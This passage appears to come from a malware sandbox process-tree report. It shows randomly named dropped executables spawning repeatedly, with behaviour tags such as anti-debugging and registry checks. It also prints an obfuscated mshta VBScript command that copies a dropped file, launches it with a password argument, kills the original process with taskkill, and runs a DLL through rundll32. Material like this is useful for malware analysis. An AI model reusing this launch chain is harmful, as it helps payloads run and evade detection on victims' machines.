C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13052
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2956
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12728
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8616
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7580
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13696
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14236
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13780
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13508
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14296
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14012
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11456
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11660
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13736
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14084
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12364
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9804
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12476
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6728
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5736
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8540
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12604
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4292
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14060
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12596
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11308
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12940
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11792
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:1248
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12216
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11940
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11176
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12180
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3120 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2472
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2856
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9576
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11284
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14608
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:15084
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 15084 -s 284⤵
- Program crash
PID:14712 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:14600
-
C:\Users\Admin\Documents\1HwuLZOI_ia2IDtVepwPgTM7.exe"C:\Users\Admin\Documents\1HwuLZOI_ia2IDtVepwPgTM7.exe"2⤵
- Executes dropped EXE
PID:860 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 860 -s 2803⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4928 -
C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe"C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe"2⤵
- Executes dropped EXE
PID:936 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )3⤵PID:4432
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\1OiXCcYBqCNSAzwk7Sl2UQKi.exe" ) do taskkill -F /Im "%~nXN"4⤵PID:3892
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG5⤵
- Executes dropped EXE
PID:2220 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )6⤵PID:4796
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"7⤵PID:3008
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p6⤵PID:1500
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "1OiXCcYBqCNSAzwk7Sl2UQKi.exe"5⤵
- Kills process with taskkill
PID:4404 -
C:\Users\Admin\Documents\3yVTDofbAXuNCSkNG6JIEdzA.exe"C:\Users\Admin\Documents\3yVTDofbAXuNCSkNG6JIEdzA.exe"2⤵
- Executes dropped EXE
PID:560 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 560 -s 2803⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2256 -
C:\Users\Admin\Documents\s5LTZzJ14a7hoh1dzHlb0_JV.exe"C:\Users\Admin\Documents\s5LTZzJ14a7hoh1dzHlb0_JV.exe"2⤵
- Executes dropped EXE
PID:3196 -
C:\Users\Admin\Documents\KPIi6venqhklUEudwrH7yto5.exe"C:\Users\Admin\Documents\KPIi6venqhklUEudwrH7yto5.exe"2⤵
- Executes dropped EXE
PID:3204 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3204 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3180 -
C:\Users\Admin\Documents\Cz2mJKDOU6JIpIwSwjt1s13E.exe"C:\Users\Admin\Documents\Cz2mJKDOU6JIpIwSwjt1s13E.exe"2⤵
- Executes dropped EXE
PID:864 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 864 -s 2363⤵
- Program crash
PID:5988 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe"C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:856 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:3648 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:3368 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:3592 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:5864 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:672 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:5416 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3860
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:2096
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3844
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6044
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6272
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7060
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6720
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4648
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5988 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7364
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7684
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8964
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6108
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8168
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8856
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7496
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7968
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4416 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7828
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7440
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8256
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10104
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9756
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9768
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1776
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3680
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8980
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8860
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10148
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5936
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1280
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9764
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6964
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9044
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10768
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4560
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10892
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11244
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1948
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9828
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7492
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:9404 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9572
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9964
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10372
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10416
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6940
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9596
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10688
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8760
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10176
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8972
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7020
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5720
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9408
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9316
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1288
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5064
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5664
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7260
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8536
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
PID:4060 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10744
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7324
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7624
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8308
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10452
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9112
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5876 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8284
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9708
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7700
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8468
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4236
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8588
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9472
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1516
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4240
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:984 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3456
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6112
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10620
-
